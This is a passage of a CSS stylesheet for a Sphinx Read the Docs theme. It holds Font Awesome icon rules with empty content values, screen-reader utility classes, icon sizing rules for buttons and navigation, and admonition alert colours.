\"\"\n}\n\n.fa-bell-slash:before {\n    content: \"\"\n}\n\n.fa-bell-slash-o:before {\n    content: \"\"\n}\n\n.fa-trash:before {\n    content: \"\"\n}\n\n.fa-copyright:before {\n    content: \"\"\n}\n\n.fa-at:before {\n    content: \"\"\n}\n\n.fa-eyedropper:before {\n    content: \"\"\n}\n\n.fa-paint-brush:before {\n    content: \"\"\n}\n\n.fa-birthday-cake:before {\n    content: \"\"\n}\n\n.fa-area-chart:before {\n    content: \"\"\n}\n\n.fa-pie-chart:before {\n    content: \"\"\n}\n\n.fa-line-chart:before {\n    content: \"\"\n}\n\n.fa-lastfm:before {\n    content: \"\"\n}\n\n.fa-lastfm-square:before {\n    content: \"\"\n}\n\n.fa-toggle-off:before {\n    content: \"\"\n}\n\n.fa-toggle-on:before {\n    content: \"\"\n}\n\n.fa-bicycle:before {\n    content: \"\"\n}\n\n.fa-bus:before {\n    content: \"\"\n}\n\n.fa-ioxhost:before {\n    content: \"\"\n}\n\n.fa-angellist:before {\n    content: \"\"\n}\n\n.fa-cc:before {\n    content: \"\"\n}\n\n.fa-shekel:before,\n.fa-sheqel:before,\n.fa-ils:before {\n    content: \"\"\n}\n\n.fa-meanpath:before {\n    content: \"\"\n}\n\n.fa-buysellads:before {\n    content: \"\"\n}\n\n.fa-connectdevelop:before {\n    content: \"\"\n}\n\n.fa-dashcube:before {\n    content: \"\"\n}\n\n.fa-forumbee:before {\n    content: \"\"\n}\n\n.fa-leanpub:before {\n    content: \"\"\n}\n\n.fa-sellsy:before {\n    content: \"\"\n}\n\n.fa-shirtsinbulk:before {\n    content: \"\"\n}\n\n.fa-simplybuilt:before {\n    content: \"\"\n}\n\n.fa-skyatlas:before {\n    content: \"\"\n}\n\n.fa-cart-plus:before {\n    content: \"\"\n}\n\n.fa-cart-arrow-down:before {\n    content: \"\"\n}\n\n.fa-diamond:before {\n    content: \"\"\n}\n\n.fa-ship:before {\n    content: \"\"\n}\n\n.fa-user-secret:before {\n    content: \"\"\n}\n\n.fa-motorcycle:before {\n    content: \"\"\n}\n\n.fa-street-view:before {\n    content: \"\"\n}\n\n.fa-heartbeat:before {\n    content: \"\"\n}\n\n.fa-venus:before {\n    content: \"\"\n}\n\n.fa-mars:before {\n    content: \"\"\n}\n\n.fa-mercury:before {\n    content: \"\"\n}\n\n.fa-intersex:before,\n.fa-transgender:before {\n    content: \"\"\n}\n\n.fa-transgender-alt:before {\n    content: \"\"\n}\n\n.fa-venus-double:before {\n    content: \"\"\n}\n\n.fa-mars-double:before {\n    content: \"\"\n}\n\n.fa-venus-mars:before {\n    content: \"\"\n}\n\n.fa-mars-stroke:before {\n    content: \"\"\n}\n\n.fa-mars-stroke-v:before {\n    content: \"\"\n}\n\n.fa-mars-stroke-h:before {\n    content: \"\"\n}\n\n.fa-neuter:before {\n    content: \"\"\n}\n\n.fa-genderless:before {\n    content: \"\"\n}\n\n.fa-facebook-official:before {\n    content: \"\"\n}\n\n.fa-pinterest-p:before {\n    content: \"\"\n}\n\n.fa-whatsapp:before {\n    content: \"\"\n}\n\n.fa-server:before {\n    content: \"\"\n}\n\n.fa-user-plus:before {\n    content: \"\"\n}\n\n.fa-user-times:before {\n    content: \"\"\n}\n\n.fa-hotel:before,\n.fa-bed:before {\n    content: \"\"\n}\n\n.fa-viacoin:before {\n    content: \"\"\n}\n\n.fa-train:before {\n    content: \"\"\n}\n\n.fa-subway:before {\n    content: \"\"\n}\n\n.fa-medium:before {\n    content: \"\"\n}\n\n.fa-yc:before,\n.fa-y-combinator:before {\n    content: \"\"\n}\n\n.fa-optin-monster:before {\n    content: \"\"\n}\n\n.fa-opencart:before {\n    content: \"\"\n}\n\n.fa-expeditedssl:before {\n    content: \"\"\n}\n\n.fa-battery-4:before,\n.fa-battery:before,\n.fa-battery-full:before {\n    content: \"\"\n}\n\n.fa-battery-3:before,\n.fa-battery-three-quarters:before {\n    content: \"\"\n}\n\n.fa-battery-2:before,\n.fa-battery-half:before {\n    content: \"\"\n}\n\n.fa-battery-1:before,\n.fa-battery-quarter:before {\n    content: \"\"\n}\n\n.fa-battery-0:before,\n.fa-battery-empty:before {\n    content: \"\"\n}\n\n.fa-mouse-pointer:before {\n    content: \"\"\n}\n\n.fa-i-cursor:before {\n    content: \"\"\n}\n\n.fa-object-group:before {\n    content: \"\"\n}\n\n.fa-object-ungroup:before {\n    content: \"\"\n}\n\n.fa-sticky-note:before {\n    content: \"\"\n}\n\n.fa-sticky-note-o:before {\n    content: \"\"\n}\n\n.fa-cc-jcb:before {\n    content: \"\"\n}\n\n.fa-cc-diners-club:before {\n    content: \"\"\n}\n\n.fa-clone:before {\n    content: \"\"\n}\n\n.fa-balance-scale:before {\n    content: \"\"\n}\n\n.fa-hourglass-o:before {\n    content: \"\"\n}\n\n.fa-hourglass-1:before,\n.fa-hourglass-start:before {\n    content: \"\"\n}\n\n.fa-hourglass-2:before,\n.fa-hourglass-half:before {\n    content: \"\"\n}\n\n.fa-hourglass-3:before,\n.fa-hourglass-end:before {\n    content: \"\"\n}\n\n.fa-hourglass:before {\n    content: \"\"\n}\n\n.fa-hand-grab-o:before,\n.fa-hand-rock-o:before {\n    content: \"\"\n}\n\n.fa-hand-stop-o:before,\n.fa-hand-paper-o:before {\n    content: \"\"\n}\n\n.fa-hand-scissors-o:before {\n    content: \"\"\n}\n\n.fa-hand-lizard-o:before {\n    content: \"\"\n}\n\n.fa-hand-spock-o:before {\n    content: \"\"\n}\n\n.fa-hand-pointer-o:before {\n    content: \"\"\n}\n\n.fa-hand-peace-o:before {\n    content: \"\"\n}\n\n.fa-trademark:before {\n    content: \"\"\n}\n\n.fa-registered:before {\n    content: \"\"\n}\n\n.fa-creative-commons:before {\n    content: \"\"\n}\n\n.fa-gg:before {\n    content: \"\"\n}\n\n.fa-gg-circle:before {\n    content: \"\"\n}\n\n.fa-tripadvisor:before {\n    content: \"\"\n}\n\n.fa-odnoklassniki:before {\n    content: \"\"\n}\n\n.fa-odnoklassniki-square:before {\n    content: \"\"\n}\n\n.fa-get-pocket:before {\n    content: \"\"\n}\n\n.fa-wikipedia-w:before {\n    content: \"\"\n}\n\n.fa-safari:before {\n    content: \"\"\n}\n\n.fa-chrome:before {\n    content: \"\"\n}\n\n.fa-firefox:before {\n    content: \"\"\n}\n\n.fa-opera:before {\n    content: \"\"\n}\n\n.fa-internet-explorer:before {\n    content: \"\"\n}\n\n.fa-tv:before,\n.fa-television:before {\n    content: \"\"\n}\n\n.fa-contao:before {\n    content: \"\"\n}\n\n.fa-500px:before {\n    content: \"\"\n}\n\n.fa-amazon:before {\n    content: \"\"\n}\n\n.fa-calendar-plus-o:before {\n    content: \"\"\n}\n\n.fa-calendar-minus-o:before {\n    content: \"\"\n}\n\n.fa-calendar-times-o:before {\n    content: \"\"\n}\n\n.fa-calendar-check-o:before {\n    content: \"\"\n}\n\n.fa-industry:before {\n    content: \"\"\n}\n\n.fa-map-pin:before {\n    content: \"\"\n}\n\n.fa-map-signs:before {\n    content: \"\"\n}\n\n.fa-map-o:before {\n    content: \"\"\n}\n\n.fa-map:before {\n    content: \"\"\n}\n\n.fa-commenting:before {\n    content: \"\"\n}\n\n.fa-commenting-o:before {\n    content: \"\"\n}\n\n.fa-houzz:before {\n    content: \"\"\n}\n\n.fa-vimeo:before {\n    content: \"\"\n}\n\n.fa-black-tie:before {\n    content: \"\"\n}\n\n.fa-fonticons:before {\n    content: \"\"\n}\n\n.fa-reddit-alien:before {\n    content: \"\"\n}\n\n.fa-edge:before {\n    content: \"\"\n}\n\n.fa-credit-card-alt:before {\n    content: \"\"\n}\n\n.fa-codiepie:before {\n    content: \"\"\n}\n\n.fa-modx:before {\n    content: \"\"\n}\n\n.fa-fort-awesome:before {\n    content: \"\"\n}\n\n.fa-usb:before {\n    content: \"\"\n}\n\n.fa-product-hunt:before {\n    content: \"\"\n}\n\n.fa-mixcloud:before {\n    content: \"\"\n}\n\n.fa-scribd:before {\n    content: \"\"\n}\n\n.fa-pause-circle:before {\n    content: \"\"\n}\n\n.fa-pause-circle-o:before {\n    content: \"\"\n}\n\n.fa-stop-circle:before {\n    content: \"\"\n}\n\n.fa-stop-circle-o:before {\n    content: \"\"\n}\n\n.fa-shopping-bag:before {\n    content: \"\"\n}\n\n.fa-shopping-basket:before {\n    content: \"\"\n}\n\n.fa-hashtag:before {\n    content: \"\"\n}\n\n.fa-bluetooth:before {\n    content: \"\"\n}\n\n.fa-bluetooth-b:before {\n    content: \"\"\n}\n\n.fa-percent:before {\n    content: \"\"\n}\n\n.fa-gitlab:before,\n.icon-gitlab:before {\n    content: \"\"\n}\n\n.fa-wpbeginner:before {\n    content: \"\"\n}\n\n.fa-wpforms:before {\n    content: \"\"\n}\n\n.fa-envira:before {\n    content: \"\"\n}\n\n.fa-universal-access:before {\n    content: \"\"\n}\n\n.fa-wheelchair-alt:before {\n    content: \"\"\n}\n\n.fa-question-circle-o:before {\n    content: \"\"\n}\n\n.fa-blind:before {\n    content: \"\"\n}\n\n.fa-audio-description:before {\n    content: \"\"\n}\n\n.fa-volume-control-phone:before {\n    content: \"\"\n}\n\n.fa-braille:before {\n    content: \"\"\n}\n\n.fa-assistive-listening-systems:before {\n    content: \"\"\n}\n\n.fa-asl-interpreting:before,\n.fa-american-sign-language-interpreting:before {\n    content: \"\"\n}\n\n.fa-deafness:before,\n.fa-hard-of-hearing:before,\n.fa-deaf:before {\n    content: \"\"\n}\n\n.fa-glide:before {\n    content: \"\"\n}\n\n.fa-glide-g:before {\n    content: \"\"\n}\n\n.fa-signing:before,\n.fa-sign-language:before {\n    content: \"\"\n}\n\n.fa-low-vision:before {\n    content: \"\"\n}\n\n.fa-viadeo:before {\n    content: \"\"\n}\n\n.fa-viadeo-square:before {\n    content: \"\"\n}\n\n.fa-snapchat:before {\n    content: \"\"\n}\n\n.fa-snapchat-ghost:before {\n    content: \"\"\n}\n\n.fa-snapchat-square:before {\n    content: \"\"\n}\n\n.fa-pied-piper:before {\n    content: \"\"\n}\n\n.fa-first-order:before {\n    content: \"\"\n}\n\n.fa-yoast:before {\n    content: \"\"\n}\n\n.fa-themeisle:before {\n    content: \"\"\n}\n\n.fa-google-plus-circle:before,\n.fa-google-plus-official:before {\n    content: \"\"\n}\n\n.fa-fa:before,\n.fa-font-awesome:before {\n    content: \"\"\n}\n\n.fa-handshake-o:before {\n    content: \"\"\n}\n\n.fa-envelope-open:before {\n    content: \"\"\n}\n\n.fa-envelope-open-o:before {\n    content: \"\"\n}\n\n.fa-linode:before {\n    content: \"\"\n}\n\n.fa-address-book:before {\n    content: \"\"\n}\n\n.fa-address-book-o:before {\n    content: \"\"\n}\n\n.fa-vcard:before,\n.fa-address-card:before {\n    content: \"\"\n}\n\n.fa-vcard-o:before,\n.fa-address-card-o:before {\n    content: \"\"\n}\n\n.fa-user-circle:before {\n    content: \"\"\n}\n\n.fa-user-circle-o:before {\n    content: \"\"\n}\n\n.fa-user-o:before {\n    content: \"\"\n}\n\n.fa-id-badge:before {\n    content: \"\"\n}\n\n.fa-drivers-license:before,\n.fa-id-card:before {\n    content: \"\"\n}\n\n.fa-drivers-license-o:before,\n.fa-id-card-o:before {\n    content: \"\"\n}\n\n.fa-quora:before {\n    content: \"\"\n}\n\n.fa-free-code-camp:before {\n    content: \"\"\n}\n\n.fa-telegram:before {\n    content: \"\"\n}\n\n.fa-thermometer-4:before,\n.fa-thermometer:before,\n.fa-thermometer-full:before {\n    content: \"\"\n}\n\n.fa-thermometer-3:before,\n.fa-thermometer-three-quarters:before {\n    content: \"\"\n}\n\n.fa-thermometer-2:before,\n.fa-thermometer-half:before {\n    content: \"\"\n}\n\n.fa-thermometer-1:before,\n.fa-thermometer-quarter:before {\n    content: \"\"\n}\n\n.fa-thermometer-0:before,\n.fa-thermometer-empty:before {\n    content: \"\"\n}\n\n.fa-shower:before {\n    content: \"\"\n}\n\n.fa-bathtub:before,\n.fa-s15:before,\n.fa-bath:before {\n    content: \"\"\n}\n\n.fa-podcast:before {\n    content: \"\"\n}\n\n.fa-window-maximize:before {\n    content: \"\"\n}\n\n.fa-window-minimize:before {\n    content: \"\"\n}\n\n.fa-window-restore:before {\n    content: \"\"\n}\n\n.fa-times-rectangle:before,\n.fa-window-close:before {\n    content: \"\"\n}\n\n.fa-times-rectangle-o:before,\n.fa-window-close-o:before {\n    content: \"\"\n}\n\n.fa-bandcamp:before {\n    content: \"\"\n}\n\n.fa-grav:before {\n    content: \"\"\n}\n\n.fa-etsy:before {\n    content: \"\"\n}\n\n.fa-imdb:before {\n    content: \"\"\n}\n\n.fa-ravelry:before {\n    content: \"\"\n}\n\n.fa-eercast:before {\n    content: \"\"\n}\n\n.fa-microchip:before {\n    content: \"\"\n}\n\n.fa-snowflake-o:before {\n    content: \"\"\n}\n\n.fa-superpowers:before {\n    content: \"\"\n}\n\n.fa-wpexplorer:before {\n    content: \"\"\n}\n\n.fa-meetup:before {\n    content: \"\"\n}\n\n.sr-only {\n    position: absolute;\n    width: 1px;\n    height: 1px;\n    padding: 0;\n    margin: -1px;\n    overflow: hidden;\n    clip: rect(0, 0, 0, 0);\n    border: 0\n}\n\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n    position: static;\n    width: auto;\n    height: auto;\n    margin: 0;\n    overflow: visible;\n    clip: auto\n}\n\n.fa,\n.wy-menu-vertical li span.toctree-expand,\n.wy-menu-vertical li.on a span.toctree-expand,\n.wy-menu-vertical li.current>a span.toctree-expand,\n.rst-content .admonition-title,\n.rst-content h1 .headerlink,\n.rst-content h2 .headerlink,\n.rst-content h3 .headerlink,\n.rst-content h4 .headerlink,\n.rst-content h5 .headerlink,\n.rst-content h6 .headerlink,\n.rst-content dl dt .headerlink,\n.rst-content p.caption .headerlink,\n.rst-content table>caption .headerlink,\n.rst-content tt.download span:first-child,\n.rst-content code.download span:first-child,\n.icon,\n.wy-dropdown .caret,\n.wy-inline-validate.wy-inline-validate-success .wy-input-context,\n.wy-inline-validate.wy-inline-validate-danger .wy-input-context,\n.wy-inline-validate.wy-inline-validate-warning .wy-input-context,\n.wy-inline-validate.wy-inline-validate-info .wy-input-context {\n    font-family: inherit\n}\n\n.fa:before,\n.wy-menu-vertical li span.toctree-expand:before,\n.wy-menu-vertical li.on a span.toctree-expand:before,\n.wy-menu-vertical li.current>a span.toctree-expand:before,\n.rst-content .admonition-title:before,\n.rst-content h1 .headerlink:before,\n.rst-content h2 .headerlink:before,\n.rst-content h3 .headerlink:before,\n.rst-content h4 .headerlink:before,\n.rst-content h5 .headerlink:before,\n.rst-content h6 .headerlink:before,\n.rst-content dl dt .headerlink:before,\n.rst-content p.caption .headerlink:before,\n.rst-content table>caption .headerlink:before,\n.rst-content tt.download span:first-child:before,\n.rst-content code.download span:first-child:before,\n.icon:before,\n.wy-dropdown .caret:before,\n.wy-inline-validate.wy-inline-validate-success .wy-input-context:before,\n.wy-inline-validate.wy-inline-validate-danger .wy-input-context:before,\n.wy-inline-validate.wy-inline-validate-warning .wy-input-context:before,\n.wy-inline-validate.wy-inline-validate-info .wy-input-context:before {\n    font-family: \"FontAwesome\";\n    display: inline-block;\n    font-style: normal;\n    font-weight: normal;\n    line-height: 1;\n    text-decoration: inherit\n}\n\na .fa,\na .wy-menu-vertical li span.toctree-expand,\n.wy-menu-vertical li a span.toctree-expand,\n.wy-menu-vertical li.on a span.toctree-expand,\n.wy-menu-vertical li.current>a span.toctree-expand,\na .rst-content .admonition-title,\n.rst-content a .admonition-title,\na .rst-content h1 .headerlink,\n.rst-content h1 a .headerlink,\na .rst-content h2 .headerlink,\n.rst-content h2 a .headerlink,\na .rst-content h3 .headerlink,\n.rst-content h3 a .headerlink,\na .rst-content h4 .headerlink,\n.rst-content h4 a .headerlink,\na .rst-content h5 .headerlink,\n.rst-content h5 a .headerlink,\na .rst-content h6 .headerlink,\n.rst-content h6 a .headerlink,\na .rst-content dl dt .headerlink,\n.rst-content dl dt a .headerlink,\na .rst-content p.caption .headerlink,\n.rst-content p.caption a .headerlink,\na .rst-content table>caption .headerlink,\n.rst-content table>caption a .headerlink,\na .rst-content tt.download span:first-child,\n.rst-content tt.download a span:first-child,\na .rst-content code.download span:first-child,\n.rst-content code.download a span:first-child,\na .icon {\n    display: inline-block;\n    text-decoration: inherit\n}\n\n.btn .fa,\n.btn .wy-menu-vertical li span.toctree-expand,\n.wy-menu-vertical li .btn span.toctree-expand,\n.btn .wy-menu-vertical li.on a span.toctree-expand,\n.wy-menu-vertical li.on a .btn span.toctree-expand,\n.btn .wy-menu-vertical li.current>a span.toctree-expand,\n.wy-menu-vertical li.current>a .btn span.toctree-expand,\n.btn .rst-content .admonition-title,\n.rst-content .btn .admonition-title,\n.btn .rst-content h1 .headerlink,\n.rst-content h1 .btn .headerlink,\n.btn .rst-content h2 .headerlink,\n.rst-content h2 .btn .headerlink,\n.btn .rst-content h3 .headerlink,\n.rst-content h3 .btn .headerlink,\n.btn .rst-content h4 .headerlink,\n.rst-content h4 .btn .headerlink,\n.btn .rst-content h5 .headerlink,\n.rst-content h5 .btn .headerlink,\n.btn .rst-content h6 .headerlink,\n.rst-content h6 .btn .headerlink,\n.btn .rst-content dl dt .headerlink,\n.rst-content dl dt .btn .headerlink,\n.btn .rst-content p.caption .headerlink,\n.rst-content p.caption .btn .headerlink,\n.btn .rst-content table>caption .headerlink,\n.rst-content table>caption .btn .headerlink,\n.btn .rst-content tt.download span:first-child,\n.rst-content tt.download .btn span:first-child,\n.btn .rst-content code.download span:first-child,\n.rst-content code.download .btn span:first-child,\n.btn .icon,\n.nav .fa,\n.nav .wy-menu-vertical li span.toctree-expand,\n.wy-menu-vertical li .nav span.toctree-expand,\n.nav .wy-menu-vertical li.on a span.toctree-expand,\n.wy-menu-vertical li.on a .nav span.toctree-expand,\n.nav .wy-menu-vertical li.current>a span.toctree-expand,\n.wy-menu-vertical li.current>a .nav span.toctree-expand,\n.nav .rst-content .admonition-title,\n.rst-content .nav .admonition-title,\n.nav .rst-content h1 .headerlink,\n.rst-content h1 .nav .headerlink,\n.nav .rst-content h2 .headerlink,\n.rst-content h2 .nav .headerlink,\n.nav .rst-content h3 .headerlink,\n.rst-content h3 .nav .headerlink,\n.nav .rst-content h4 .headerlink,\n.rst-content h4 .nav .headerlink,\n.nav .rst-content h5 .headerlink,\n.rst-content h5 .nav .headerlink,\n.nav .rst-content h6 .headerlink,\n.rst-content h6 .nav .headerlink,\n.nav .rst-content dl dt .headerlink,\n.rst-content dl dt .nav .headerlink,\n.nav .rst-content p.caption .headerlink,\n.rst-content p.caption .nav .headerlink,\n.nav .rst-content table>caption .headerlink,\n.rst-content table>caption .nav .headerlink,\n.nav .rst-content tt.download span:first-child,\n.rst-content tt.download .nav span:first-child,\n.nav .rst-content code.download span:first-child,\n.rst-content code.download .nav span:first-child,\n.nav .icon {\n    display: inline\n}\n\n.btn .fa.fa-large,\n.btn .wy-menu-vertical li span.fa-large.toctree-expand,\n.wy-menu-vertical li .btn span.fa-large.toctree-expand,\n.btn .rst-content .fa-large.admonition-title,\n.rst-content .btn .fa-large.admonition-title,\n.btn .rst-content h1 .fa-large.headerlink,\n.rst-content h1 .btn .fa-large.headerlink,\n.btn .rst-content h2 .fa-large.headerlink,\n.rst-content h2 .btn .fa-large.headerlink,\n.btn .rst-content h3 .fa-large.headerlink,\n.rst-content h3 .btn .fa-large.headerlink,\n.btn .rst-content h4 .fa-large.headerlink,\n.rst-content h4 .btn .fa-large.headerlink,\n.btn .rst-content h5 .fa-large.headerlink,\n.rst-content h5 .btn .fa-large.headerlink,\n.btn .rst-content h6 .fa-large.headerlink,\n.rst-content h6 .btn .fa-large.headerlink,\n.btn .rst-content dl dt .fa-large.headerlink,\n.rst-content dl dt .btn .fa-large.headerlink,\n.btn .rst-content p.caption .fa-large.headerlink,\n.rst-content p.caption .btn .fa-large.headerlink,\n.btn .rst-content table>caption .fa-large.headerlink,\n.rst-content table>caption .btn .fa-large.headerlink,\n.btn .rst-content tt.download span.fa-large:first-child,\n.rst-content tt.download .btn span.fa-large:first-child,\n.btn .rst-content code.download span.fa-large:first-child,\n.rst-content code.download .btn span.fa-large:first-child,\n.btn .fa-large.icon,\n.nav .fa.fa-large,\n.nav .wy-menu-vertical li span.fa-large.toctree-expand,\n.wy-menu-vertical li .nav span.fa-large.toctree-expand,\n.nav .rst-content .fa-large.admonition-title,\n.rst-content .nav .fa-large.admonition-title,\n.nav .rst-content h1 .fa-large.headerlink,\n.rst-content h1 .nav .fa-large.headerlink,\n.nav .rst-content h2 .fa-large.headerlink,\n.rst-content h2 .nav .fa-large.headerlink,\n.nav .rst-content h3 .fa-large.headerlink,\n.rst-content h3 .nav .fa-large.headerlink,\n.nav .rst-content h4 .fa-large.headerlink,\n.rst-content h4 .nav .fa-large.headerlink,\n.nav .rst-content h5 .fa-large.headerlink,\n.rst-content h5 .nav .fa-large.headerlink,\n.nav .rst-content h6 .fa-large.headerlink,\n.rst-content h6 .nav .fa-large.headerlink,\n.nav .rst-content dl dt .fa-large.headerlink,\n.rst-content dl dt .nav .fa-large.headerlink,\n.nav .rst-content p.caption .fa-large.headerlink,\n.rst-content p.caption .nav .fa-large.headerlink,\n.nav .rst-content table>caption .fa-large.headerlink,\n.rst-content table>caption .nav .fa-large.headerlink,\n.nav .rst-content tt.download span.fa-large:first-child,\n.rst-content tt.download .nav span.fa-large:first-child,\n.nav .rst-content code.download span.fa-large:first-child,\n.rst-content code.download .nav span.fa-large:first-child,\n.nav .fa-large.icon {\n    line-height: .9em\n}\n\n.btn .fa.fa-spin,\n.btn .wy-menu-vertical li span.fa-spin.toctree-expand,\n.wy-menu-vertical li .btn span.fa-spin.toctree-expand,\n.btn .rst-content .fa-spin.admonition-title,\n.rst-content .btn .fa-spin.admonition-title,\n.btn .rst-content h1 .fa-spin.headerlink,\n.rst-content h1 .btn .fa-spin.headerlink,\n.btn .rst-content h2 .fa-spin.headerlink,\n.rst-content h2 .btn .fa-spin.headerlink,\n.btn .rst-content h3 .fa-spin.headerlink,\n.rst-content h3 .btn .fa-spin.headerlink,\n.btn .rst-content h4 .fa-spin.headerlink,\n.rst-content h4 .btn .fa-spin.headerlink,\n.btn .rst-content h5 .fa-spin.headerlink,\n.rst-content h5 .btn .fa-spin.headerlink,\n.btn .rst-content h6 .fa-spin.headerlink,\n.rst-content h6 .btn .fa-spin.headerlink,\n.btn .rst-content dl dt .fa-spin.headerlink,\n.rst-content dl dt .btn .fa-spin.headerlink,\n.btn .rst-content p.caption .fa-spin.headerlink,\n.rst-content p.caption .btn .fa-spin.headerlink,\n.btn .rst-content table>caption .fa-spin.headerlink,\n.rst-content table>caption .btn .fa-spin.headerlink,\n.btn .rst-content tt.download span.fa-spin:first-child,\n.rst-content tt.download .btn span.fa-spin:first-child,\n.btn .rst-content code.download span.fa-spin:first-child,\n.rst-content code.download .btn span.fa-spin:first-child,\n.btn .fa-spin.icon,\n.nav .fa.fa-spin,\n.nav .wy-menu-vertical li span.fa-spin.toctree-expand,\n.wy-menu-vertical li .nav span.fa-spin.toctree-expand,\n.nav .rst-content .fa-spin.admonition-title,\n.rst-content .nav .fa-spin.admonition-title,\n.nav .rst-content h1 .fa-spin.headerlink,\n.rst-content h1 .nav .fa-spin.headerlink,\n.nav .rst-content h2 .fa-spin.headerlink,\n.rst-content h2 .nav .fa-spin.headerlink,\n.nav .rst-content h3 .fa-spin.headerlink,\n.rst-content h3 .nav .fa-spin.headerlink,\n.nav .rst-content h4 .fa-spin.headerlink,\n.rst-content h4 .nav .fa-spin.headerlink,\n.nav .rst-content h5 .fa-spin.headerlink,\n.rst-content h5 .nav .fa-spin.headerlink,\n.nav .rst-content h6 .fa-spin.headerlink,\n.rst-content h6 .nav .fa-spin.headerlink,\n.nav .rst-content dl dt .fa-spin.headerlink,\n.rst-content dl dt .nav .fa-spin.headerlink,\n.nav .rst-content p.caption .fa-spin.headerlink,\n.rst-content p.caption .nav .fa-spin.headerlink,\n.nav .rst-content table>caption .fa-spin.headerlink,\n.rst-content table>caption .nav .fa-spin.headerlink,\n.nav .rst-content tt.download span.fa-spin:first-child,\n.rst-content tt.download .nav span.fa-spin:first-child,\n.nav .rst-content code.download span.fa-spin:first-child,\n.rst-content code.download .nav span.fa-spin:first-child,\n.nav .fa-spin.icon {\n    display: inline-block\n}\n\n.btn.fa:before,\n.wy-menu-vertical li span.btn.toctree-expand:before,\n.rst-content .btn.admonition-title:before,\n.rst-content h1 .btn.headerlink:before,\n.rst-content h2 .btn.headerlink:before,\n.rst-content h3 .btn.headerlink:before,\n.rst-content h4 .btn.headerlink:before,\n.rst-content h5 .btn.headerlink:before,\n.rst-content h6 .btn.headerlink:before,\n.rst-content dl dt .btn.headerlink:before,\n.rst-content p.caption .btn.headerlink:before,\n.rst-content table>caption .btn.headerlink:before,\n.rst-content tt.download span.btn:first-child:before,\n.rst-content code.download span.btn:first-child:before,\n.btn.icon:before {\n    opacity: .5;\n    -webkit-transition: opacity .05s ease-in;\n    -moz-transition: opacity .05s ease-in;\n    transition: opacity .05s ease-in\n}\n\n.btn.fa:hover:before,\n.wy-menu-vertical li span.btn.toctree-expand:hover:before,\n.rst-content .btn.admonition-title:hover:before,\n.rst-content h1 .btn.headerlink:hover:before,\n.rst-content h2 .btn.headerlink:hover:before,\n.rst-content h3 .btn.headerlink:hover:before,\n.rst-content h4 .btn.headerlink:hover:before,\n.rst-content h5 .btn.headerlink:hover:before,\n.rst-content h6 .btn.headerlink:hover:before,\n.rst-content dl dt .btn.headerlink:hover:before,\n.rst-content p.caption .btn.headerlink:hover:before,\n.rst-content table>caption .btn.headerlink:hover:before,\n.rst-content tt.download span.btn:first-child:hover:before,\n.rst-content code.download span.btn:first-child:hover:before,\n.btn.icon:hover:before {\n    opacity: 1\n}\n\n.btn-mini .fa:before,\n.btn-mini .wy-menu-vertical li span.toctree-expand:before,\n.wy-menu-vertical li .btn-mini span.toctree-expand:before,\n.btn-mini .rst-content .admonition-title:before,\n.rst-content .btn-mini .admonition-title:before,\n.btn-mini .rst-content h1 .headerlink:before,\n.rst-content h1 .btn-mini .headerlink:before,\n.btn-mini .rst-content h2 .headerlink:before,\n.rst-content h2 .btn-mini .headerlink:before,\n.btn-mini .rst-content h3 .headerlink:before,\n.rst-content h3 .btn-mini .headerlink:before,\n.btn-mini .rst-content h4 .headerlink:before,\n.rst-content h4 .btn-mini .headerlink:before,\n.btn-mini .rst-content h5 .headerlink:before,\n.rst-content h5 .btn-mini .headerlink:before,\n.btn-mini .rst-content h6 .headerlink:before,\n.rst-content h6 .btn-mini .headerlink:before,\n.btn-mini .rst-content dl dt .headerlink:before,\n.rst-content dl dt .btn-mini .headerlink:before,\n.btn-mini .rst-content p.caption .headerlink:before,\n.rst-content p.caption .btn-mini .headerlink:before,\n.btn-mini .rst-content table>caption .headerlink:before,\n.rst-content table>caption .btn-mini .headerlink:before,\n.btn-mini .rst-content tt.download span:first-child:before,\n.rst-content tt.download .btn-mini span:first-child:before,\n.btn-mini .rst-content code.download span:first-child:before,\n.rst-content code.download .btn-mini span:first-child:before,\n.btn-mini .icon:before {\n    font-size: 14px;\n    vertical-align: -15%\n}\n\n.wy-alert,\n.rst-content .note,\n.rst-content .attention,\n.rst-content .caution,\n.rst-content .danger,\n.rst-content .error,\n.rst-content .hint,\n.rst-content .important,\n.rst-content .tip,\n.rst-content .warning,\n.rst-content .seealso,\n.rst-content .admonition-todo,\n.rst-content .admonition {\n    padding: 12px;\n    line-height: 24px;\n    margin-bottom: 24px;\n    background: #e7f2fa\n}\n\n.wy-alert-title,\n.rst-content .admonition-title {\n    color: #fff;\n    font-weight: bold;\n    display: block;\n    color: #fff;\n    background: #6ab0de;\n    margin: -12px;\n    padding: 6px 12px;\n    margin-bottom: 12px\n}\n\n.wy-alert.wy-alert-danger,\n.rst-content .wy-alert-danger.note,\n.rst-content .wy-alert-danger.attention,\n.rst-content .wy-alert-danger.caution,\n.rst-content .danger,\n.rst-content .error,\n.rst-content .wy-alert-danger.hint,\n.rst-content .wy-alert-danger.important,\n.rst-content .wy-alert-danger.tip,\n.rst-content .wy-alert-danger.warning,\n.rst-content .wy-alert-danger.seealso,\n.rst-content .wy-alert-danger.admonition-todo,\n.rst-content .wy-alert-danger.admonition {\n    background: #fdf3f2\n}\n\n.wy-alert.wy-alert-danger .wy-alert-title,\n.rst-content .wy-alert-danger.note .wy-alert-title,\n.rst-content .wy-alert-danger.attention .wy-alert-title,\n.rst-content .wy-alert-danger.caution .wy-alert-title,\n.rst-content .danger .wy-alert-title,\n.rst-content .error .wy-alert-title,\n.rst-content .wy-alert-danger.hint .wy-alert-title,\n.rst-content .wy-alert-danger.important .wy-alert-title,\n.rst-content .wy-alert-danger.tip .wy-alert-title,\n.rst-content .wy-alert-danger.warning .wy-alert-title,\n.rst-content .wy-alert-danger.seealso .wy-alert-title,\n.rst-content .wy-alert-danger.admonition-todo .wy-alert-title,\n.rst-content .wy-alert-danger.admonition .wy-alert-title,\n.wy-alert.wy-alert-danger .rst-content .admonition-title,\n.rst-content .wy-alert.wy-alert-danger .admonition-title,\n.rst-content .wy-alert-danger.note .admonition-title,\n.rst-content .wy-alert-danger.attention .admonition-title,\n.rst-content .wy-alert-danger.caution .admonition-title,\n.rst-content .danger .admonition-title,\n.rst-content .error .admonition-title,\n.rst-content .wy-alert-danger.hint .admonition-title,\n.rst-content .wy-alert-danger.important .admonition-title,\n.rst-content .wy-alert-danger.tip .admonition-title,\n.rst-content .wy-alert-danger.warning .admonition-title,\n.rst-content .wy-alert-danger.seealso .admonition-title,\n.rst-content .wy-alert-danger.admonition-todo .admonition-title,\n.rst-content .wy-alert-danger.admonition .admonition-title {\n    background: 